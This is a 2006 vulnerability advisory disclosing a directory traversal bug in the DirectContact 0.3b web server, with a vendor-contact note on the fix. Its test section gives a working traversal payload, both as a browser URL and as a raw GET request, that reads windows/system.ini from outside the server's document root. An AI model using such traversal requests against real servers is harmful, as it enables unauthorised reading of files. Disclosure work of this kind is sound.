Donato Ferrante
Application: DirectContact
http://reyero.info/dc/
Version: 0.3b
Bug: directory traversal
Date: 27-Feb-2006
Author: Donato Ferrante
e-mail: fdonato (at) autistici (dot) org [email concealed]
web: www.autistici.org/fdonato
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1. Description
2. The bug
3. The code
4. The fix
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1. Description:
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Vendor's Description:
"DirectContact turns your computer in real "friendly" HTTP server."
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2. The bug:
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The program is unable to manage malicious patterns like .. or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.
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3. The code:
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To test the vulnerability:
via browser:
http://[host]:[port]/........windows/system.ini
via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1
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4. The fix:
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Vendor has been contacted.
Bug will be fixed in the next release.
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